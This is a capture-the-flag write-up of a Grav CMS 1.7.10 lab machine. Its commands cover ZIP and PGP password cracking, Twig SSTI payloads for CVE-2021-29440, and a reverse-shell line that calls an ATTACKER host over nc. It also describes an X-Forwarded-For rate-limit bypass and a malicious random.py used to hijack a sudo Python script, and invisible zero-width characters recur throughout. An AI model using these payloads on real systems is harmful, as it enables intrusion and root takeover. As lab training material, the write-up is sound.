← Back to Writeups
CUSTOMMediumWeb

Любитель брутфорса (Bruteforce Lover)

XESXOR9/10/20264 min read
#web#custom#medium#zip2john_password_cracking#gpg2john_passphrase_cracking#pgp_message_decryption#grav_ssti_rce#twig_filter_system#python_library_hijacking#sudo_python_script_privesc#login_rate_limit_xff_bypass#file_fuzzing

Любитель брутфорса (Bruteforce Lover)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-05 | Status: Solved Techniques: zip2john_password_cracking, gpg2john_passphrase_cracking, pgp_message_decryption, grav_ssti_rce, twig_filter_system, python_library_hijacking, sudo_python_script_privesc, login_rate_limit_xff_bypass, file_fuzzing

Summary

Task: Grav CMS 1.7.10 boot2root box. Solution: fuzz an encrypted ZIP, crack it with zip2john to get admin creds, exploit authenticated Grav Twig SSTI (CVE-2021-29440) for RCE, crack a PGP private-key passphrase with gpg2john and decrypt a message to pivot to user gravman, then escalate to root via Python library hijacking (local random.py) of a NOPASSWD sudo script.

Любитель брутфорса (Bruteforce Lover) — HackerLab.pro

Description

Запаситесь джонами и фаззерами :D (Tags: Grav, SSTI, PGP — Author: Trager)

English summary: A medium-difficulty boot2root-style web machine. The title "Bruteforce Lover" and the hint "Stock up on Johns and fuzzers" point directly at directory fuzzing plus John the Ripper cracking. The target runs Grav CMS 1.7.10 on Apache at http://62.173.140.174:28280. Goal: recover a CODEBY{...} flag that is split across two files — first_part (readable by user gravman) and last_part (readable only by root). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

  • The site is Grav CMS with the default Quark theme on Apache. robots.txt lists /backup/, /user/, /system/, etc. The admin panel is at /admin and uses a login-nonce CSRF token.
  • The /typography page contains a "Note for admins": "If you have forgotten the password for the admin panel: download the zip archive, which is available to everyone. This custom archive wasn't in original Grav version and encrypted with password." — a strong hint to fuzz for a .zip.
  • Grav v1.7.10 (shown on the admin dashboard) is vulnerable to authenticated Twig SSTI → arbitrary YAML write → RCE: CVE-2021-29440.
  • Post-RCE, /opt/gpg/ is world-readable and holds a PGP keypair and an encrypted message — a classic "crack the passphrase and decrypt" pivot to the user's password.
  • Root escalation is a textbook Python library hijacking of a NOPASSWD sudo script that import random from a writable working directory. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

1. Reconnaissance

bash
curl -s http://62.173.140.174:28280/robots.txt
# Grav default robots: /backup/ /user/ /system/ ...
curl -s http://62.173.140.174:28280/typography   # "Note for admins" about an encrypted zip

Confirms Grav CMS and the existence of a custom, password-protected ZIP available to everyone.

2. Fuzz for ZIP files → encrypted archive

bash
# gobuster
gobuster dir -u http://62.173.140.174:28280/ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x zip
# or ffuf
ffuf -u http://62.173.140.174:28280/FUZZ -w wordlist.txt -e .zip

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Finds /fileadmin.zip (220 bytes, HTTP 200). Download it:

bash
curl -O http://62.173.140.174:28280/fileadmin.zip

Crack the ZIP password with John:

bash
zip2john fileadmin.zip > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
# -> password: 232323
unzip -P 232323 fileadmin.zip      # -> creds.txt
cat creds.txt                      # gravman:2yyaeg2AiWy2v6E

3. Admin login

Log into /admin as gravman:2yyaeg2AiWy2v6E. The dashboard shows Grav v1.7.10.

Note: Grav's login is rate-limited per IP, but the rate limiter trusts the X-Forwarded-For header. Sending a rotating/spoofed X-Forwarded-For bypasses the lockout — handy for scripted access, though not required if you just log in once via the browser. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

4. SSTI RCE — CVE-2021-29440

Create a new page (Pages → Add). Intercept the save request (Burp) which POSTs to /admin/pages/<name>/:add with task=save. Set the page body to a Twig SSTI payload.

Verify the injection:

data[content]={{7*'7'}}

Visiting the saved page renders 49, confirming Twig evaluation. Use the filter('system') trick for command execution:

data[content]={{['id']|filter('system')}}
# -> uid=33(www-data) gid=33(www-data) groups=33(www-data)

Reverse shell (URL-encoded form of the payload), after starting nc -lvnp 9898 locally: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

data[content]={{['rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ATTACKER 9898 >/tmp/f']|filter('system')}}

Base64-wrapped commands also work to avoid escaping issues:

data[content]={{['echo <b64>|base64 -d|sh']|filter('system')}}

Browsing the saved page /<name> triggers execution and returns a www-data shell.

5. Loot /opt/gpg → crack PGP key → decrypt → gravman password

As www-data, /opt/gpg/ is world-readable:

bash
ls -la /opt/gpg/          # private.key  public.key  secret.txt (a PGP MESSAGE)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Crack the private-key passphrase with John:

bash
gpg2john private.key > gpg.hash
john --wordlist=/usr/share/wordlists/rockyou.txt gpg.hash
# -> passphrase: gameover

Import the key and decrypt the message. (Local gpg tip: if you hit "failed to start gpg-agent", set a short GNUPGHOME so the agent socket path stays short.)

bash
export GNUPGHOME=$(mktemp -d /tmp/g.XXXX)
gpg --batch --pinentry-mode loopback --passphrase gameover --import private.key
gpg --batch --pinentry-mode loopback --passphrase gameover --decrypt secret.txt
# -> "Gravman, this is your new password - Vo25I#U8kXae."

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

6. Become gravman → first part of flag

bash
su gravman          # password: Vo25I#U8kXae
cat /home/gravman/first_part      # file mode -r-------- owned by gravman
# -> CODEBY{REDACTED

7. Privilege escalation to root — Python library hijacking

bash
sudo -l
# (ALL) NOPASSWD: /usr/bin/python3 /home/gravman/script.py

script.py does import os; import random; ... and presents a menu whose option 4 calls random.randint(...). Python prepends the script's own directory (/home/gravman) to sys.path, so a local random.py there shadows the stdlib random module. Drop a malicious module: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
# /home/gravman/random.py
import os
def randint(a, b):
    os.system("cat /root/last_part")   # or os.system("bash") for a root shell
    return 0

Run the sudo script and pick option 4:

bash
sudo /usr/bin/python3 /home/gravman/script.py
# choose option 4 -> executes as root:
# cat /root/last_part -> REDACTED}

(Alternatively os.system("bash") spawns a root shell, then cat /root/last_part.)

Final flag

Concatenate first_part + last_part:

CODEBY{REDACTED} + {REDACTED}
= CODEBY{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍